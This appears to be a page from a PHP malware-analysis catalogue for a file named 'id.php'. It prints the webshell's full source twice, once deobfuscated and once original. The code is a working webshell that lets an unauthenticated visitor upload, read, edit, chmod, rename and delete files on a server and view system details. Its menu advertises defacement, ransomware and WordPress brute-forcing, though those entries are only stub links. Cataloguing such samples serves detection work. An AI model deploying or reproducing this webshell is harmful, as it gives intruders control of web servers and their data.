PHP Malware Analysis

Back to list

Filename: id.php

Tags

URLs
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting
  • php_uname
  • getcwd
Files
  • file_get_contents
  • copy

Deobfuscated code

<?php

error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<html>\r\n<head>\r\n\t<link href=\"https://fonts.googleapis.com/css?family=Black+Ops+One\" rel=\"stylesheet\">\r\n\t<link href=\"https://fonts.googleapis.com/css?family=Merienda\" rel=\"stylesheet\">\r\n\t<link href=\"https://fonts.googleapis.com/css?family=anime+ace\" rel=\"stylesheet\" type=\"text/css\">\r\n<link href=\"https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display\" rel=\"stylesheet\">\r\n<style>\r\nbody{\r\nfont-family: Merienda;\r\nbackground-color: black;\r\ncolor: white;\r\n}\r\n#content tr:hover{\r\nbackground-color: blue;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: yellow;\r\n}\r\ntable{\r\nborder: 1px #000000;\r\n}\r\na{\r\ncolor:white;\r\nfont-size: 20px;\r\ntext-decoration:none;\r\n}\r\na:hover{\r\ncolor:green;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 2px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\nh1{\r\ncolor:lime;\r\nfont-size:15px;\r\n}\r\n.squr_table {\r\n    -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\t-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\tbox-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\tbackground-color:#000000;\r\n\tborder:1px solid #ff0000;\r\n\tdisplay:inline-block;\r\n\tcursor:pointer;\r\n\tcolor:aqua;\r\n\tfont-size:17x;\r\n\tfont-weight:bold;\r\n\tpadding:3px 20px;\r\n\ttext-decoration:none;\r\n\ttext-shadow:0px -1px 0px #ff0505;\r\n       }\r\n.squr_table a:hover {\r\n\tbackground-color:#8f1b0b;;\r\n\tcolor: yellow;\r\n\ttext-decoration: Rajdhani;\r\n       }\r\n</style>\r\n</head>\r\n</head><center><h1><b><font color=#436EEE>\xe1E</font><font color=#436EEE>\xd3\xea</font><font color=#CD3278>\xa4\xce</font><font color=#CD3278>\xefL</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center>\r\n</h1></center>\r\n<table width=\"960\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r\n<tr><td>";
echo "<h1>\r\nyour IP    : " . $_SERVER['REMOTE_ADDR'] . "<br>\r\nIP Server : " . gethostbyname($_SERVER['HTTP_HOST']) . "<br>\r\nsystem.   : " . php_uname() . "</h1><br>";
echo "<table width=\"960\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r\n<tr><td>";
echo "path : ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"lime\">UPLOAD SUCCESSSSS !!!!</font><br/>";
    } else {
        echo "<font color=\"red\">UPLOAD FAILEDDDD !!!!!!!</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<font color=\"white\"><br><b>Upload :</font><input type=\"file\" name=\"file\"/>\r\n<input type=\"submit\" value=\"Upload\" /><br><br>\r\n</form>";
echo "</td></tr>";
echo "</table>";
echo "<center><table id='menu' width='960' border='2' cellpadding='3' cellspacing='0'><tr><td>";
echo "<center><a class='squr_table' href='?'>home  </a> \r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>mass deface</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>mass delete</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>zone h notifer</a><br>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>ransomeware</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>symlink</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>wp bruteforce v.1</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>wp bruteforce v.2</a><br>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>ngewe online</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>nomer sedot wc</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>md5 encript</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>md5 decript</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>lu kontol tq :v</a><br>\r\n</center>";
echo "</td></tr></table></center>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"lime\">Change Perm bisa om</font><br/>";
            } else {
                echo "<font color=\"red\">Change Perm Gagal Om</font><br />";
            }
        }
        echo '<form method="POST"><font face="Sedgwick Ave Display">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"lime\">Rename berhasil Om</font><br/>";
            } else {
                echo "<font color=\"red\">Rename Gagal Om</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST"><font face="Sedgwick Ave Display">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"lime\">berhasil om</font><br/>";
            } else {
                echo "<font color=\"red\">Gagal om servernya kek tai</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"lime\">Directory Terhapus om</font><br/>";
            } else {
                echo "<font color=\"red\">Directory Gagal Terhapus om                                                                                                                                                                                                                                                                                           </font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"lime\">Terhapus om</font><br/>";
            } else {
                echo "<font color=\"red\">File Gagal Dihapus om</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"960\" border=\"2\" cellpadding=\"3\" cellspacing=\"0\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center><font color=\"black\">N4m3</peller></center></td>\r\n<td><center><font color=\"black\">S1z3</peller></center></td>\r\n<td><center><font color=\"black\">P3rm15ion</peller></center></td>\r\n<td><center><font color=\"black\">4ct1on</peller></center></td>\r\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"aqua\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">RenaMe</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"aqua\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "</table>\r\n</div>";
}
echo "<center><br/><font face=\"Sedgwick Ave Display\" color=\"white\" style=\"text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px\"></head><center><h1><b><font color=#436EEE>\xe1E</font><font color=#436EEE>\xd3\xea</font><font color=#CD3278>\xa4\xce</font><font color=#CD3278>\xefL</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center></center>\r\n</body>\r\n</html>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}


Original code

<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
	<link href="https://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=Merienda" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=anime+ace" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display" rel="stylesheet">
<style>
body{
font-family: Merienda;
background-color: black;
color: white;
}
#content tr:hover{
background-color: blue;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: yellow;
}
table{
border: 1px #000000;
}
a{
color:white;
font-size: 20px;
text-decoration:none;
}
a:hover{
color:green;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 2px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
h1{
color:lime;
font-size:15px;
}
.squr_table {
    -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;
	-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;
	box-shadow:inset 0px 34px 0px -15px #1a1717;
	background-color:#000000;
	border:1px solid #ff0000;
	display:inline-block;
	cursor:pointer;
	color:aqua;
	font-size:17x;
	font-weight:bold;
	padding:3px 20px;
	text-decoration:none;
	text-shadow:0px -1px 0px #ff0505;
       }
.squr_table a:hover {
	background-color:#8f1b0b;;
	color: yellow;
	text-decoration: Rajdhani;
       }
</style>
</head>
</head><center><h1><b><font color=#436EEE>E</font><font color=#436EEE></font><font color=#CD3278></font><font color=#CD3278>L</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center>
</h1></center>
<table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tr><td>';
echo "<h1>
your IP    : ".$_SERVER['REMOTE_ADDR']."<br>
IP Server : ".gethostbyname($_SERVER['HTTP_HOST'])."<br>
system.   : ".php_uname()."</h1><br>";
echo '<table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tr><td>';
echo "path : ";
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="lime">UPLOAD SUCCESSSSS !!!!</font><br/>';
}else{
echo '<font color="red">UPLOAD FAILEDDDD !!!!!!!</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white"><br><b>Upload :</font><input type="file" name="file"/>
<input type="submit" value="Upload" /><br><br>
</form>';
echo "</td></tr>";
echo "</table>";
echo "<center><table id='menu' width='960' border='2' cellpadding='3' cellspacing='0'><tr><td>";
echo "<center><a class='squr_table' href='?'>home  </a> 
<a class='squr_table' href=''.$path.'&5qur=mass>mass deface</a>
<a class='squr_table' href=''.$path.'&5qur=mass>mass delete</a>
<a class='squr_table' href=''.$path.'&5qur=mass>zone h notifer</a><br>
<a class='squr_table' href=''.$path.'&5qur=mass>ransomeware</a>
<a class='squr_table' href=''.$path.'&5qur=mass>symlink</a>
<a class='squr_table' href=''.$path.'&5qur=mass>wp bruteforce v.1</a>
<a class='squr_table' href=''.$path.'&5qur=mass>wp bruteforce v.2</a><br>
<a class='squr_table' href=''.$path.'&5qur=mass>ngewe online</a>
<a class='squr_table' href=''.$path.'&5qur=mass>nomer sedot wc</a>
<a class='squr_table' href=''.$path.'&5qur=mass>md5 encript</a>
<a class='squr_table' href=''.$path.'&5qur=mass>md5 decript</a>
<a class='squr_table' href=''.$path.'&5qur=mass>lu kontol tq :v</a><br>
</center>";
echo "</td></tr></table></center>";
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Change Perm bisa om</font><br/>';
}else{
echo '<font color="red">Change Perm Gagal Om</font><br />';
}
}
echo '<form method="POST"><font face="Sedgwick Ave Display">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Rename berhasil Om</font><br/>';
}else{
echo '<font color="red">Rename Gagal Om</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST"><font face="Sedgwick Ave Display">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">berhasil om</font><br/>';
}else{
echo '<font color="red">Gagal om servernya kek tai</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="lime">Directory Terhapus om</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus om                                                                                                                                                                                                                                                                                           </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="lime">Terhapus om</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus om</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="960" border="2" cellpadding="3" cellspacing="0" align="center">
<tr class="first">
<td><center><font color="black">N4m3</peller></center></td>
<td><center><font color="black">S1z3</peller></center></td>
<td><center><font color="black">P3rm15ion</peller></center></td>
<td><center><font color="black">4ct1on</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="aqua">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">RenaMe</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="aqua">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/><font face="Sedgwick Ave Display" color="white" style="text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px"></head><center><h1><b><font color=#436EEE>E</font><font color=#436EEE></font><font color=#CD3278></font><font color=#CD3278>L</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center></center>
</body>
</html>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>